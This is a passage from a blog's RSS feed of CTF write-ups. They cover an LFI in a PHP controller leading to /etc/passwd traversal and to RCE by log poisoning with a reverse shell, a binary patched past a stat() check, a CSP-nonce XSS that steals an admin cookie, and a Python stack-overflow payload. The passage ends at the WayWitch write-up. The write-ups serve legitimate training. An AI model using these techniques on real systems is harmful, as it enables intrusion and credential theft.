&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/notesy</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/notesy</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>xss</category>
        
        <category>cookies</category>
        
        <category>client-side-attacks</category>
        
        
      </item>
    
      <item>
        <title>P.H.P.</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/9727sa.jpg&quot; title=&quot;PHP&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-easy&quot;&gt;Difficulty: &lt;b&gt;Easy&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;You are tasked to fetch critical potato intelligence by abusing P.H.P, a system designed to securely monitor potato farm info.&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;Another straightforward web challenge from the Fall Huddle. The application has a Local File Inclusion (LFI) vulnerability in the id parameter. User input directly determines which file gets included in the response, such as 1.php, 2.php, etc. The application defaults to the “php” extension, but since there’s no validation, we can override it by adding the ext parameter to our request. This allows us to include sensitive files like flag.txt in the server response. To take things a step further, I also demonstrate gaining Remote Code Execution (RCE) by exploiting log poisoning, because, when possible, I like to get a shell!&lt;/p&gt;

&lt;h5 id=&quot;vulnerable-code&quot;&gt;Vulnerable Code:&lt;/h5&gt;
&lt;p&gt;In the potato method, user-controlled input (id and ext parameters from the query string) are directly used to construct the file path for inclusion. Since no validation or sanitization is applied, we can manipulate these parameters (e.g., with ../../../etc/passwd as the id and txt and the ext) to include arbitrary files on the server.&lt;/p&gt;
&lt;h6 id=&quot;indexcontrollerphp-file&quot;&gt;IndexController.php file:&lt;/h6&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;IndexController&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;__DIR__&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/../views/potatoes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$filesAndDirs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;scandir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$filenames&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filesAndDirs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$fileInfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pathinfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$directory&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$filenames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$fileInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;filename&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$router&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;index&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;filenames&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filenames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;potato&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$ext&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ext&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ext&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;php&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;__DIR__&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/../views/potatoes/&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution:&lt;/h5&gt;
&lt;p&gt;Once we navigate to the application using our browser, we see three potatos. Each of them gets loaded using the ID parameter.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972gx1.jpg&quot; title=&quot;ID Parameter&quot; width=&quot;85%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;At first, I couldn’t include any files beyond the default ones provided by the application. I suspected something in the way the id parameter was being handled, so I checked the source code. A quick look at the index controller revealed why I couldn’t get other files to load. There was another hidden paramter “ext”, which was set as ‘php’ by default. I realized that by manually adding the ext parameter to the URL, I could specify any file extension. Sure enough, after including the ext parameter, I was able to access other files, including the flag:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972jfn.jpg&quot; title=&quot;The Flag&quot; width=&quot;95%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;rce-via-log-poisoning&quot;&gt;RCE via Log Poisoning:&lt;/h5&gt;
&lt;p&gt;After grabbing the flag, I decided to take it a step further and try to get a shell. Since there was an LFI vulnerability, I realized that log poisoning would be a simple way to escalate this to remote code execution. I verified I could include the nginx access.log file. I then captured a request to the server, modified the User-Agent header to contain a PHP reverse shell, and forwarded the request.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972ips.jpg&quot; title=&quot;Burp Request&quot; width=&quot;85%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;With a netcat listener set up on port 1234, I was able to establish a shell connection.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/972j7z.jpg&quot; title=&quot;RCE&quot; width=&quot;85%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    P.H.P. has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/php</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/php</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>LFI</category>
        
        <category>rce</category>
        
        <category>log-poisoning</category>
        
        
      </item>
    
      <item>
        <title>Graverobber</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat graverobber.txt
The binary provided for the challenge is a simple program that checks whether a 
certain &quot;path&quot; (or string) exists using the stat() function. If the path does not
exist, it prints an error message. However, if the check succeeds, the program 
prints a message saying &quot;We found the treasure!&quot;, indicating the end of the program.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;can-you-read-this-&quot;&gt;Can you read this: ?–&amp;gt;?&lt;/h4&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/graverobber.png&quot; title=&quot;Graverobber&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;analyzing-the-binary-with-ghidra&quot;&gt;Analyzing the Binary with Ghidra&lt;/h4&gt;
&lt;p&gt;After loading the binary into Ghidra, I started by looking at the main function to understand its logic.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The program initializes an array (local_58) to store a string, potentially the flag.&lt;/li&gt;
  &lt;li&gt;A loop runs 32 times (0x1f in hex is 31 in decimal), constructing the string from a memory location (parts).&lt;/li&gt;
  &lt;li&gt;After constructing a part of the string, the program calls stat() to check if the constructed string exists. If the check fails, the program prints “We took a wrong turning!” and exits.&lt;/li&gt;
  &lt;li&gt;If the loop completes successfully, the program prints “We found the treasure!”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s obvious the flag is being stored in local_58 as part of the string constructed in the loop.&lt;/p&gt;

&lt;h5 id=&quot;bypassing-the-stat-check&quot;&gt;Bypassing the stat() Check&lt;/h5&gt;
&lt;p&gt;The stat() call was critical because it was stopping us from reaching the part of the program that prints the treasure message. We needed to bypass the stat() check to let the program continue building the string.&lt;/p&gt;

&lt;p&gt;Here’s the relevant section from the assembly in Ghidra:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;
00101216 85 c0           TEST       EAX,EAX            # Test return value of stat()
00101218 74 16           JZ         LAB_00101230       # Jump if stat() returns 0 (success)
0010121a 48 8d 05        LEA        RAX,[s_We_took_a_wrong_turning!_00102008]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The program uses TEST EAX, EAX to check the return value of stat().&lt;/li&gt;
  &lt;li&gt;JZ (Jump if Zero) ensures that if stat() succeeds, the program continues. Otherwise, it prints the failure message.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To bypass this check, I changed the JZ (0x74) to an unconditional jump (JMP, 0xEB) in Ghidra.&lt;/p&gt;

&lt;p&gt;After modifying the jump instruction, the program no longer checks stat() and always proceeds as if the check succeeded, allowing us to reach the “We found the treasure!” message.&lt;/p&gt;

&lt;h5 id=&quot;using-gdb-to-retrieve-the-flag&quot;&gt;Using GDB to Retrieve the Flag&lt;/h5&gt;
&lt;p&gt;After modifying and saving the binary, I loaded it into GDB to extract the flag. Here’s how I did it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;
// Set a Breakpoint at puts: Since puts is used to print messages, I set a breakpoint at puts to catch the program when it prints either the treasure message or other output.
(gdb) b puts
// Run the Program: I then ran the program in GDB, and it hit the breakpoint when it reached the &quot;We found the treasure!&quot; message.
(gdb) run
// Examine the Registers: To find the flag, I inspected the contents of the registers. The RAX register contained the treasure message, but RSI (another register) held the actual flag data.
(gdb) x/s $rax  # Check the RAX register (treasure message)
(gdb) x/s $rsi  # Check the RSI register (flag data)
0x7fffffffdc80: &quot;H/T/B/{/b/r/3/4/k/1/n/9/_/d/0/w/n/_/t/h/3/_/s/y/s/c/4/l/l/5/}/&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Grave Robber has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 28 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/reversing/graverobber</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/reversing/graverobber</guid>
        
        <category>reversing</category>
        
        <category>gdb</category>
        
        <category>ghidra</category>
        
        <category>ctf</category>
        
        
      </item>
    
      <item>
        <title>Cursed Stale Policy</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat CSP.txt
This challenge took some time to understand, but its setup is actually quite straightforward, 
as almost everything is provided: the payload, the Content Security Policy (CSP) header with 
the nonce we need to use to trigger the XSS, and even pre-captured requests. So, no actual 
callback server is needed. The flag is located in the admin’s cookie. The only trick here is 
that we need to include the nonce from the CSP in our payload; otherwise, it wouldn’t work.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/CSP.png&quot; title=&quot;Cursed State Policy&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;In this scenario, the CSP header is in place to restrict which scripts the browser will execute, and only those scripts with the correct nonce value are permitted. By including the nonce in our payload, we effectively “whitelist” our injected script, bypassing the CSP and allowing our XSS to execute successfully. This enabled us to capture the flag from the admin’s cookie.&lt;/p&gt;

&lt;h5 id=&quot;the-flag&quot;&gt;The Flag&lt;/h5&gt;
&lt;p&gt;After adjusting our payload to include the nonce from the CSP, we successfully executed our XSS payload, which sent the admin’s cookie to the /callback endpoint. Checking the requests log further down the page revealed the results of our XSS payload and contained the admin’s cookie, which contained the flag.&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    CSP has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 28 Feb 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/csp</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/csp</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>csp</category>
        
        <category>content-security-policy</category>
        
        
      </item>
    
      <item>
        <title>El Mundo</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat el_mundo.txt
Exploit a buffer overflow vulnerability to call the hidden function read_flag()
and reveal the flag.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;initial-analysis&quot;&gt;Initial Analysis&lt;/h4&gt;
&lt;p&gt;This binary challenge presented us with a program vulnerable to buffer overflow, where we could overwrite the return address to point to a specific function in memory. The goal was to use the overflow to redirect program execution to read_flag() and print the flag.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/elmundo.png&quot; title=&quot;El Mundo&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution&lt;/h5&gt;
&lt;ol&gt;
  &lt;li&gt;Initial Analysis with GDB: Using gdb, I loaded the program and set a breakpoint at main() to observe the stack layout after function setup. This revealed:
    &lt;ul&gt;
      &lt;li&gt;A buffer allocated at the start of the stack.&lt;/li&gt;
      &lt;li&gt;A saved rbp address 56 bytes above the buffer start.&lt;/li&gt;
      &lt;li&gt;A return address 8 bytes above the saved rbp.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Stack frame layout:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;| Higher addresses  |
| Return address    | &amp;lt;- 64 bytes above buffer start
| Saved RBP         | &amp;lt;- 56 bytes above buffer start
| Buffer (vulnerable) |
| Lower addresses   |
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Finding read_flag Address: The disassembled code showed that read_flag() was located at 0x4016b7. This address became our target for overwriting the return address, so we could redirect the program flow directly to read_flag().&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Payload Construction: To craft the exploit:&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;Buffer Overflow: I needed 56 bytes to reach the saved rbp, which we could fill with junk data.&lt;/li&gt;
      &lt;li&gt;Return Address Overwrite: The next 8 bytes would hold the address of read_flag(), redirecting the execution there upon function return.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Using Python, I constructed a payload:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import struct
		
# Offset and address
buffer_size = 56
read_flag_address = 0x4016b7  # Address of `read_flag`
		
# Construct payload
payload = b&quot;A&quot; * buffer_size + struct.pack(&quot;&amp;lt;Q&quot;, read_flag_address)
		
# Write payload to a binary file
with open(&quot;payload.bin&quot;, &quot;wb&quot;) as f:
f.write(payload)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Here, struct.pack(“&amp;lt;Q”, read_flag_address) packed the read_flag() address as a 64-bit little-endian value, ready for injection into the stack.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;Exploiting the Program: With payload.bin created, I could redirect the program’s input to this binary file:&lt;/li&gt;
&lt;/ol&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat payload.bin | ./el_mundo
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Running this executed the buffer overflow, overwrote the return address with read_flag()’s address, and the program executed read_flag() as intended.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Flag Output: The program, redirected to read_flag(), printed the flag directly to the screen!&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;summary&quot;&gt;Summary&lt;/h5&gt;
&lt;p&gt;In this buffer overflow challenge, everything was pretty much given to us, which allowed us to identify and overwrite the saved return address, redirecting execution to read_flag().
This solution highlights:
	• Stack manipulation to overwrite return addresses.
	• Payload crafting with Python to inject precise binary data.&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    El Mundo has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 01 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/pwn/elmundo</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/pwn/elmundo</guid>
        
        <category>pwn</category>
        
        <category>stack-overflow</category>
        
        
      </item>
    
      <item>
        <title>El Pipo</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat el_pipo.txt
Super simple buffer overflow. Inserting more than a few charcaters, results 
in the flag being read and printed.
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;initial-analysis&quot;&gt;Initial Analysis&lt;/h4&gt;
&lt;p&gt;Downloaded the binary for initial analysis. After running the program and inputting a string of around 20 characters, I noticed that the input caused a buffer overflow, leading to a stack overflow which printed out the flag.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/elpipo.png&quot; title=&quot;El Pipo&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    El Pipo has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Sat, 01 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/pwn/elpipo</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/pwn/elpipo</guid>
        
        <category>pwn</category>
        
        <category>easy</category>
        
        <category>buffer-overflow</category>
        
        
      </item>
    
      <item>
        <title>WayWitch</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat binary_basis.txt
The solution for this challenge turned out to be surprisingly easy! Ironically, I 
spent the most time on it because I was overthinking and making it harder than necessary. 
Initially, I tried every JWT vulnerability trick I knew, especially since I couldn’t find 
anything unusual in the code. The SECRET in utils.py was redacted, leading me to believe 
that I needed to brute force it, or that there might be a deeper exploit to uncover...
&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;the-application&quot;&gt;The Application&lt;/h4&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/waywitch.png&quot; title=&quot;WayWitch&quot; width=&quot;94%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;the-solution&quot;&gt;The Solution&lt;/h5&gt;
